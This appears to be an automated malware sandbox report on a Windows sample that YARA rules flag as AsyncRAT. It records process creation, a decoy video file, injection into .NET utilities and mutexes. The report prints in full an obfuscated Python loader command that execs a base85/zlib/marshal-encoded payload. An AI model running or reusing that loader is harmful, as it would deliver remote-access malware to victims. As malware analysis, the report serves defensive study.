Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQt5Gui.dll( vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1421755339.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVCOMP140.DLLT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1423026225.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQt5Core.dll( vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinsound.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1407650442.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140_codecvt_ids.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_msi.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQt5Quick3DUtils.dll( vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1403865958.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1438088331.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_elementtree.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1429404343.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1418207390.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKatiusha.dll2 vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1421374052.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUtils.dll, vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1405725107.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140_2.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1422543945.000001F676774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs vUlh7stUHJ.exe
Source: vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamebalsam.exe( vs vUlh7stUHJ.exe

Very long command line found

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: Commandline size = 6195
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: Commandline size = 6195			Jump to behavior

Yara signature match

Source: 26.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 24.2.olx.exe.239ef437310.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.olx.exe.20a7ec37310.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.1888895593.0000020A7EC37000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: Qt5Core.dll.0.dr

Static PE information: Section: .qtmimed ZLIB complexity 0.997458770800317

Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, Settings.cs	Base64 encoded string: 'J8AlYDUEP4xA7L2e32KSVlRwG5heT/cu4a0WQrYtwEYmm3VnqiHppbIYqmQ1pr7Z'
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, Settings.cs	Base64 encoded string: 'J8AlYDUEP4xA7L2e32KSVlRwG5heT/cu4a0WQrYtwEYmm3VnqiHppbIYqmQ1pr7Z'

Source: 24.2.olx.exe.239ef437310.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 24.2.olx.exe.239ef437310.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 15.2.olx.exe.20a7ec37310.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal68.troj.spyw.evad.winEXE@21/1619@2/3

Source: C:\recover\olx.exe	Code function: 15_2_00007FFB0A661820 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,		15_2_00007FFB0A661820
Source: C:\recover\olx.exe	Code function: 24_2_00007FFB0A661820 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,		24_2_00007FFB0A661820

Source: C:\recover\olx.exe

Code function: 15_2_00007FFB1C35A6F0 GetDiskFreeSpaceExW,_invalid_parameter_noinfo_noreturn,

15_2_00007FFB1C35A6F0

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

File created: C:\Users\user\AppData\Roaming\marke.mp4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4476
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\6KOgubdg2DSGnIiN
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7504

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\b8996603-c146-47a1-a3d5-58db56689e9c

Source: vUlh7stUHJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\vUlh7stUHJ.exe "C:\Users\user\Desktop\vUlh7stUHJ.exe"
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\user\AppData\Roaming\marke.mp4
Source: unknown	Process created: C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe "C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe" -ServerName:Microsoft.ZuneVideo.AppX758ya5sqdjd98rx6z7g95nw6jy7bqx9y.mca
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOvvm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!o*k?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\olx.exe "C:\recover\olx.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7504 -s 576
Source: unknown	Process created: C:\recover\olx.exe "C:\recover\olx.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4476 -s 548
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\user\AppData\Roaming\marke.mp4	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\pw\pw.exe "C:/recover/pw/pw.exe" -c exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode('c$\|ee>>VcmTX?q>0Byn&8+IKa(iiGw{s)`PJFxr5+FbrEg^_AZKtG=5okdOVHRVWY6h-nTPp<s>l9\|`GWZX{-Azgo+czaJFD}YnSrCYHzIB<ca4avMLzo_@OOs4ffJ2HPy\|J-2z-E17!6?z#zGi}@en3pB7_TYA%u%?F@#HSDTK>#IfPH(lMt@Jl@LCKPeZs0S3~#=KEp6(J-1)L7tvtNxD~Ts!j~bQu)eTg!B_T\|@XN5iV0~qO4ZjZYMe7^;Tlj5=FInH&ui<O^4SZvN55EuFmaQM`-@)I7_!H~_K)z#5MQx=ve)36{Rj95dmXOZ8szkgqvaCQ)\|oqBmASi4Y%ziOyagxeFr_$cdirYIePJz1l&b0(HDP-z(1i^=t~Uu&{ybd4Bw(}(6<==3;GVd#olsKfgq8eu+X7eUE;?EtF26-\|6Is7)<Gup862QvqyzU^7p?68sL)A`4^g}E53fE^&Cgn{7%oojZf75G}5&m(vz`yVqhrb{Hd#&=$g7RY(>Kqi3`OyFkE~ji_hcdv@lN;XdyLUxv1m?@~VDLUtp3rFPvlWD(_8PUvgZp=i`M6imxOW=8L0_gDhlpiVsfdj9p}ZiY@LnD$B?USI3pe97%~93LZ3<ub=eTwZKl(0I-f?Ved^94CyI_KvJsmzJ<m4\|^7UmwgDJ>4IAju!om#&qUfBC@lR&e1evZx}zhJTaJ<0\|APOXkQUkMnqT~8kjl2Pv~O!xPQ_Zox$UOpQ5UdL&lc;DgbvtXJSE>@ypU5ou@ttI>\|e_ZRo!nOP;ihjWVyBLby#oLj)#6wFV^5-A#7H08TY_{+^@@-@moh\|sW8SeQe64VifcR_Fbb>x9277O4}P>UZ$`p;1;5xHByG!Z=4+q=ct0XJ5`^~)n-#oL#&+yfEcVd%K=&}}b>tjNDH`dg{lqNsAuyu^_iG?eFW~jpK(JV&39B>k=L??VwDo!1(w+ID;<~zn0v%(eB$wt1gq1&!oBCuP73R_IJl-4n^Jr(D&<w>3rTkF5!Nol8Y3Ub%0E60UG=cxCv7e$pM3<w>vDN6y=$q&U#=Yd{(qDM\|Lg}YF$=@Xzr\|ih?qV3nK_<lGexw_nMRAF_MzMd7-z7pR!~>g1#<^c#2AoCb3r^3`^kl+Y3bCxqxo{JUZAh&^X7aB+e={J$p!BZ!PeJ<VmBaM(K@c7d%iyQ=Zg>c=PW)\|^ug8R1V0A5T@G1YjlPOvvm!rdEcO^Z;~%BsNB$bQ#%6?Ke_8giF$d-p7+JXef3p7gqg8$x4Bfy8%yQS&;K=chb?jz`&%TC!`~tw9`env3^W=eUjcU~AaxVs8oWkHNO1>ffUejDBKe<tWg9;5sLpA6;W3GW~Yk^WGj=Jx#F&CvQK\|BxBxMFzku$3~k-RzK>fz2{4>D{mB&YEE^wZeG~QGeJ+{!Z&m0(YgH?R%Y}U{0~_CIq~4^-Z!DWdQXDc{}dD};r=_e+w=S@Y@FWPkl%1SIR1H^n;<j=R=eU2l&k+ml\|k2\|Dgz-60!6(H)Oh&$W}iiV6N#pgPm$;@hCM%qV+6Lre^_h+;~y<{!H>@pI5xzvmj_2+ENorEcnrlud>P\|$lnC)Bk2cBPcZe0zc5>wEo1Ddzc_n3Tf4tY!#cy0_S}n@URnj@=rlQ1k5kZ7gc4T@2ByRkj^A`Y_Ce+=P}HDj{^f<g@vg0d+QWr8@y7x(XfrMIe&jitok8$oi4uIi?Q;_Obp&Fyd2NFy>j{BL8Tbui`1xj`P^LghRvwf(_&W3CP27LCdFc&jQL%)#s0zdR+K(Wj;41s@Fju^%)3f5OBW\|TgEYHHM$ZHoHT&JKN0h4xKsI0?7dZi@T&ru=Ox67otzMbX#Ir7MP603%M!}Oh2S)xSSwaj7BqT!(?&-!Q~_g<Z3dR23?kHHC;\|AF#wUkhjykbo9PViSagLN4\|oq8nWcI%=%%wMj`%XX<j=QwwY_ZjEJMNXq>$pT=YUL2=1k;QX!4XF!?b&$&_UC^i!mR+T\|6rVDQ7T{Z4f#DUJt?(u2)ktojqyR5ChAedav~Efj8KAtzuskp3T(GDUu0!yBAYY)fkZManxeAqSPi\|Pk<erZttOY(^9SR4;hYk?$c8Dl!8_(y1Xf<Qa<wYi$Vel%#L0{xF}aCW(lRYF2U=6BtT{}+MfE7&Bn`dWN};^pln8?mi-WXCv<SY7Xx@UnC}jk$YvdcE(d7zONtgUe!$gI=4GW^2zTp{O;JaL^C1lf$X^YZL1UcHW)h>M_SX@&tjxr6YeN#=Hk9gbi0cE9mi<RVVj\|hyR;FBCV{%p_#axJVyMkp2ozsYi@w7FnpAAd5Ny8>Fu%GD#D;k=5G{7fTf8CxX)Koz%hL?skl36`Sowy8dNqJ5f^;zAY-!RUp{<QvTLOTsF$Te#%v1x`1X?^%vv{vUv~Ls&W%!~\|l^jlyD7U7Gz^()KLN^a6v00\|%66YYm0G=54>msby3LKUp2lD19RiSuC07go17?~q9LM^eRK#yICAakO{b=4^)k5xq7h#brvCZn_zyhL~#$%Y8l!1cHw^~?pfMg3biB$mEtH@1YhQ{9>2X;ul+!K8;iCaWI9t8K#t)}APE%H2aJ(wb+V(HgT\|uFR$FqW)F1$bOs>wG?f^<gy=5{JPy\|yfgSsTqX;oy0I&DmO$%48KWkjJVZ<AF`<nxf>%19cdI3m;FNYF)HtFGYjb<wCo!gaW5dn$JMsnlfm715a1OmmvIT}K9-iySc2WY`7tnB_?XTBJ$vDVS1C&Jpc{8l;(Ky;++=hY>_uB1OD+v56WW)gvpZTpl`nN3fv6Q@kuowMv~HkGKMuC<N!o*k?J0<urRR;R~2Qf@^A1&ev%uX;j;jZKJP{uwS9lo-DDVLXjn@nd4vy>yk	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Process created: C:\recover\olx.exe "C:\recover\olx.exe"	Jump to behavior
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\recover\olx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\vUlh7stUHJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
